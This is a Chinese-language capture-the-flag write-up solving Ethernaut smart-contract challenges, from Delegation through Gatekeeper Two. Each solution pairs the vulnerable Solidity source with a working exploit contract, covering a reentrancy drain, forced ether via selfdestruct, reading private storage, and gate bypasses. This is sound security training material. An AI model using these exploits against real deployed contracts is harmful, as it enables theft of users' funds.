目录
立一个 flag,明天之前刷完,刷不完让 Y1ng 师傅女装 23333
Delegation
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
题目要求得到 Delegation 合约的控制权,而这个合约只有他的子合约有改变 owner 的方法。而Delegation 只有一个 fallback 函数可以利用,根据上篇文章总结的,我们只需给这个合约汇款,就能调用到他的 fallback 函数,再将 data 构造为函数的 sha3 值,就可以实现调用任意函数。
本题的考点在于对两种调用函数 Call() 和 delegatecall() 区别的理解。在 solidity 中这两个函数虽然用途都是调用函数的作用,但是 Call() 调用时所有的操作都在被调用合约中,而 delegatecall() 的操作在原本的合约中。也就是说部署以下三个合约:
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function own() public view returns (address){
return owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Call {
address public owner;
Delegate delegate;
function Call(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.call(msg.data)) {
this;
}
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
如果将 Call 和 Delegatecall 分别部署到子合约 Delegate 上,首先给 Delegatecall 合约转账触发 fallback 方法,将 data 设置为 pwn() 的 sha3 值,此时子合约 Delegate 的 owner 并没有改变,而 Delegatecall 合约的 owner 则变成了执行 transact 的用户地址;以同样的方法操作合约 Call,执行 transact 之后 Call 合约的 owner 没有改变,而子合约的 owner 改为 Call 合约的合约地址。这就是Call 和 Delegatecall 的区别。

Force
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
题目没有给源码,题目要求合约的让合约 balance 大于零,直接转账发现会报错,去这个网址查看下合约源码,发现如果 fallback 被调用直接 revert,因此不能通过转账汇钱。

这种情况可以使用合约销毁的特性。如果一个合约被销毁,合约会吧自己的所有余额转到另一个地址,而当这个地址是另一个合约地址时,则不会触发该合约的 fallback 函数。因此我们只需构造一个攻击合约随便打点钱,再把销毁目标设定为目标合约即可。exp:
pragma solidity ^0.4.23;
contract exp{
address to;
constructor () payable{
to = 0x87f589a9a591f6662919c48a2b67baf81460a595;
// 目标合约地址
}
function kill() public {
selfdestruct(to);
}
}
Vault
源码:
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这题比较有意思,要来猜这个密码。但是众所周知,区块链是个确定性系统,没有任何 private 可言。我们借助 web3 可以找到预先定义的 private 变量。
直接使用 web3,网页会报错,找了网上的一个 payload 是用回调函数 alert 出来 :
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
// A very strong secret password :)
King
给合约转钱,钱比上一个国王多就可以成为新的国王,过关条件是成为永久的国王。源码:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
这个题比较 trick,从逻辑上讲,肯定不可能成为永久的国王,因为永远都会有人可以出更多的钱。当新国王产生的时候,合约会在 fallback 中把旧国王的钱打回去,所以本题的关键点在于 fallback() 函数。一开始的思路是通过溢出让别人转不了钱,但是以太坊的 balance 上限非常大,操作起来太过困难。后来看了师傅们的 wp 了解到 transfer 在调用中如果出错会回滚状态,导致下面的指令不执行,所以我们就可以利用这一点构造攻击合约进行转账。exp:
contract exp{
address a;
function exp() payable{
a = 0x6E9481a945cEfE4DE1B6356bD0b1F306390f5A87;
a.call.value(msg.value)();
}
function () public payable{
require(msg.value < 1 ether);
}
}
看了其他师傅的一些博客,这个题还有很多解法,比如直接不写 fallback 函数或者 fallback 函数不带 payable 关键字,都可以起到相同的效果。
Re-entrancy
过关条件是拿走合约的所有币,源码:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
withdraw() 函数有非常明显的重入特征(先转账,再对账本变量操作),这几天刚好用重入攻击这个点出了个题,具体原理可以去看这篇文章,直接构造攻击合约即可,exp:
// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol
contract exp{
address add = 0xbA147431b75d6B1EEb2c67F14cc7A4CEBeaf2C1d;
Reentrance a;
uint times;
constructor () public {
a = Reentrance(add);
}
function attack() public payable{
a.donate.value(msg.value)(this);
a.withdraw(1 ether);
}
function getall() public {
msg.sender.transfer(address(this).balance);
}
function show() public view returns (uint){
return a.balanceOf(this);
}
function get() public view returns (uint){
return address(this).balance;
}
function target() public view returns (uint){
return address(a).balance;
}
function () public payable{
if(address(a).balance >= 1 ether){
a.withdraw(1 ether);
}
}
}
注意一开始合约的地址要符合 remix 的正则化,不然可能会调用失败。

Elevator
直接甩给我们一个可控的接口,题目目标是登顶。源码:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
这个题非常有意思,目标合约里定义了该函数是 view 的,也就是说不能对任何属性值进行修改。一开始我想着可以利用 — 操作的延后性曲线救国,但是失败了23333,后来看了 Pikachu 师傅的 wp,才知道原来在 view 函数中强行改属性也是可以通过编译的。emmmmm,感觉世界上最好的语言要易主了。 exp:
// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol
contract exp{
uint public times = 1;
function isLastFloor(uint) view public returns (bool){
if(times == 1){
times --;
return false;
}
else{
return true;
}
}
Elevator public a = Elevator(0x5dA8CC8F99F24d841449a884AE820e22A40031A8);
function call() public{
a.goTo(1);
}
}
Privacy
跟前面的 Vault 差不多,主要是读取 private 数据,源码:
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
可以用 web3.eth.getStorageAt(instance, 0, function(x,y){alert(y);}) 直接把东西 alert 出来,汇总一下得到:
0x000000000000000000000000000000000000000000000000000000437aff0a01
0x5873459db27cc72d02440d33051dfad5860383dae2beec1780c2627de3bdb336
0xcb60297379a1fb1d91100650b53342185f6e24ece90c16825cd9c194fbc6010f
0x37dab7dd0d56017189a77cec33f02c3793dad1d8ab49e0eb4bd27e7ee5bf9afd
constant 是 solidity 中的常量,常量不存储于区块上,因此区块上内容的顺序应该是 locked、flattening、denomination、awkwardness、data[0]、data[1]、data[2]
对于较短的数据,solidity 存储的策略是将其合并,从后往前写到一个 32 字节的数据块中,因此第一行数据最后的 01 对应 locked(True)、倒数第二个字节 0a 代表 flattening(10)、倒数第三个字节 ff 代表 denomination(255),倒数第四五个字节( uint16 占两个字节 ) 437a 则代表 uint16(now)。以此类推,第四个数据块存储的就是我们需要的 data[2] 变量,直接提交即可。
Gatekeeper One
题目要求我们成功执行 enter() 函数,源码:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
第一个 gate,直接用合约调用即可绕过;第二个 gate 需要 gas 满足一定条件,也以通过合约控制;最后一个 gate 较为麻烦,首先Solidity 中,数据类型之间的转换遵循以下规则:
// 数字 与 数字
uint8 -> uint16
// 值不变 其他小单位转大单位同理
uint16 -> uint8
// 导致溢出,转换后的结果为原变量 mod 256 其他大单位转小单位同理
// bytes 与 bytes
bytes8 -> bytes16
// 后面补零 其他小单位转大单位同理
// 0xaaaaaaaaaaaaaaaa -> 0xaaaaaaaaaaaaaaaa0000000000000000
bytes16 -> bytes8
// 取前面的位数 其他大单位转小单位同理
// 0xaaaaaaaaaaaaaaaa0000000000000000 -> 0xaaaaaaaaaaaaaaaa
// address 与 bytes、uint
address -> uint
// 根据 uint 的具体单位,将地址从尾端开始截取对应长度
// 如地址0x0DCd2F752394c41875e259e00bb44fd505297caF,转为 uint8 为取最后1字节 0xaf
address -> bytes
// 根据 bytes 的具体单位,从前截取对应长度
// 0x08970FEd061E7747CD9a38d680A601510CB659FB -> 0x80a601510cb659fb (bytes8)
uint/bytes 转 address
// uint 转为 hex,bytes不变,从后填充
// uint8 -> address 0x123 -> 0x0000000000000000000000000000000000000123
// bytes8 -> address 0x80a601510cb659fb -> 0x00000000000000000000000080A601510cB659FB
题目要求我们的 key (实际上就是我们的用户地址) 转成 uint 后四个字节和后两个字节相同,而后四个字节又不同于整个八个字节。根据 solidity 类型转换和比较的规则,我们只需将后 4 到后 2 这两个字节的内容清空为0,就可以绕过限制。根据转换条件exp:
contract test{
GatekeeperOne a;
function test() public{
a = GatekeeperOne(0x0D17119b1421584937B1cBfED1e26462A279A2fF);
}
function exp() public {
address add = address(msg.sender);
// 注意这里用 msg.sender 用 this 无法执行部署
bytes8 add_exp = bytes8(add) & 0xffffffff0000ffff;
a.enter.gas(819100)(add_exp);
}
}
Gatekeeper Two
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
一三的条件都比较好满足,就是在二里这个合约出现了新的关键词 assembly,查文档可知是 solidity 定义的一个汇编语言,并且可以直接在 solidity 源码里执行。翻翻手册找下 extcodesize() 函数

也就是说绕过 gateTwo 需要合约的代码长度为 0,查了下果然有个 trick,只要把 exp 放到构造函数中,调用的时候区块还未彻底生成,此时 extcodesize 的返回值就是 0。exp:
pragma solidity ^0.4.18;
contract exp{
GatekeeperTwo a;
function exp(){
a = GatekeeperTwo(0xFB95A884a68Cf82F2F582aa93001af97b80D0806);
uint64 key = uint64(keccak256(this)) ^ (uint64(0) - 1);
a.enter(bytes8(key));
}
}
